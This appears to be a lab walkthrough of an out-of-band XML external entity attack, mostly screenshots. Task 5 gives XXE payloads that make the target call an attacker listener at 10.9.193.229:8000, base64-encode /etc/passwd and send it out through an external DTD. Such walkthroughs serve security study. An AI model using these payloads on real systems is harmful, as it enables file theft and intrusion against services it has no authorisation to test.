# OOB XXE

**Task 1: XML Introduction**

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F27ssnlT9aVWVlwQHkD99%2Fimage.png?alt=media&#x26;token=916c8de2-6982-4a0f-9a00-a64b6725672f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FOKmAZNMZi9dvIBeMg9PM%2Fimage.png?alt=media&#x26;token=82a701f4-ce1a-4231-968d-ea50e12f27b5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FirkTNpFq19Ty8n9xPX4b%2Fimage.png?alt=media&#x26;token=31e8f7dc-ecf8-493e-a7aa-d61913d709d7" alt=""><figcaption></figcaption></figure>

**Task 2: XML External Entity (XXE) Introduction**

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FmnC5Bxr9bvovFGqHTexP%2Fimage.png?alt=media&#x26;token=d5dbd066-d90a-40d9-8930-0ed2006c78f1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FGIiNsp09VtecAAKhn2u8%2Fimage.png?alt=media&#x26;token=c8db7aef-d47a-4344-9c9b-1fead5bf240f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FlyJXMlyWbrkPoE5jWylV%2Fimage.png?alt=media&#x26;token=697406ba-3e62-4dcb-a98e-b4b364217a11" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Flc7WdeX9Z3dgxvyQlFxq%2Fimage.png?alt=media&#x26;token=61991ad0-3eb3-4777-b474-c4ea096ef904" alt=""><figcaption></figcaption></figure>

**Task 3: Deploying the machine**

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FR8VCoCtzxrmixlP3SMzl%2Fimage.png?alt=media&#x26;token=b31e6be1-145c-4fdc-98eb-e969e9795740" alt=""><figcaption></figcaption></figure>

**Task 4: Assessing the Target Web Application**

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FlVPXuVrWDZ3U1gvRpU5a%2Fimage.png?alt=media&#x26;token=12b6698d-466a-4e4b-91a8-d2e52b0a9a05" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FvpIyWogsuVvq2SUSdJKn%2Fimage.png?alt=media&#x26;token=ddd1ccee-8a2b-4bf5-80ff-899233d7c13e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FtLUa7Mp8ETT5eTE5VDq1%2Fimage.png?alt=media&#x26;token=a7734b0e-80cb-480a-a119-6c1efb0b96b7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FIdv7sQgCUuJLavRGoSNX%2Fimage.png?alt=media&#x26;token=2152b362-c8d2-4a4e-9bfc-9cf6216f358d" alt=""><figcaption></figcaption></figure>

**Task 5: Exploiting OOB XXE**

First we have to send the POST request of the website to Repeater section of BURP

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FkfKmBEMwxBwJsB0RRsq3%2Fimage.png?alt=media&#x26;token=4658babf-91b0-46c9-b231-6cd048a81018" alt=""><figcaption></figcaption></figure>

Then we will modified the legitimate request to test a ssrf vulnerability in the website.

Change the \<name> paramater from kyou to \&ssrf; which we need to call the variable to execute the command.

```
<!DOCTYPE response [
<!ENTITY ssrf SYSTEM "http://10.9.193.229:8000">
]>

&ssrf;
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FfR6pli2YlV6ZaI7JRpgn%2Fimage.png?alt=media&#x26;token=51ecfb43-2679-4ee2-bbd0-00377b45897b" alt=""><figcaption></figcaption></figure>

We can see that the server actually reached our python server

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FAgb8TUzSNDpHastpEUX1%2Fimage.png?alt=media&#x26;token=2b0a2f90-45ad-4846-b78c-feb3c2cfacbb" alt=""><figcaption></figcaption></figure>

```
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % xxe "<!ENTITY exfil SYSTEM 'http://10.9.193.229:8000/?data=%file;'>">
%xxe;
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhemVNI6a4tii8bIFX1Wv%2Fimage.png?alt=media&#x26;token=c5e36b85-ef87-46ab-a77e-bd2ab73b17a1" alt=""><figcaption></figcaption></figure>

```
<!DOCTYPE response SYSTEM "http://10.9.193.229:8000/oob-xxe.dtd">

&exfil;
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FiWkXwgY0XsYubpTwgKSG%2Fimage.png?alt=media&#x26;token=27fc5be9-8e67-49c1-936a-edef16771270" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fxgrr4tdhqsSwKrVBS1Gb%2Fimage.png?alt=media&#x26;token=56addb9e-1b37-4a8a-82f2-fecc9075797b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Frcs6WHwqnTw0QC7yk4HM%2Fimage.png?alt=media&#x26;token=4a00ff8c-8789-40ae-a192-e007de6d9415" alt=""><figcaption></figcaption></figure>

**Task 6: Impact, Mitigation, Tools, and References**

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FM5BewIUbEeATUG7i1YVp%2Fimage.png?alt=media&#x26;token=31940f97-6b1b-4428-ae7b-9c42d78d8d49" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F1QAjyC7DaA12WA1GrIjZ%2Fimage.png?alt=media&#x26;token=f4ae7553-2a34-4fb2-a5aa-65663c443750" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FGmqYZVsxhPeGPGcqeL7d%2Fimage.png?alt=media&#x26;token=07e9e31b-8aec-46e7-9730-8834f9eb11fb" alt=""><figcaption></figcaption></figure>
